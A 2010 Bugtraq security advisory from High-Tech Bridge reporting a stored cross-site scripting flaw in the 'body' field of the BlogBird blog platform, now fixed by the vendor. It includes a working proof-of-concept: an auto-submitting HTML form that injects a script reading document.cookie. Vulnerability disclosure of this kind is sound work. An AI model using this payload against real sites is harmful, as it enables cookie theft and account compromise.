bugtraq - XSS vulnerability in BlogBird platform

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Date: Wed, 27 Oct 2010 12:46:27 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in BlogBird platform

Vulnerability ID: HTB22647
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogbird_1.html
Product: BlogBird
Vendor: BlogBird ( http://www.blogbird.nl/ ) 
Vulnerable Version: Current actual version on http://www.blogbird.nl/
Vendor Notification: 13 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the blog elements saving script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://www.blogbird.nl/elements/save/2648" method="post" name="main">
<input type="hidden" name="files_id" value="123">
<input type="hidden" name="type" value="posts">
<input type="hidden" name="column" value="col1">
<input type="hidden" name="title" value="post title">
<input type="hidden" name="element" value="post">
<input type="hidden" name="body" value='post text"><script>alert(document.cookie)</script>'>
<input type="hidden" name="extended" value="">
<input type="hidden" name="publish" value="1">
<input type="hidden" name="page" value="home">
<input type="hidden" name="author" value="author">
<input type="hidden" name="tags" value="">
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version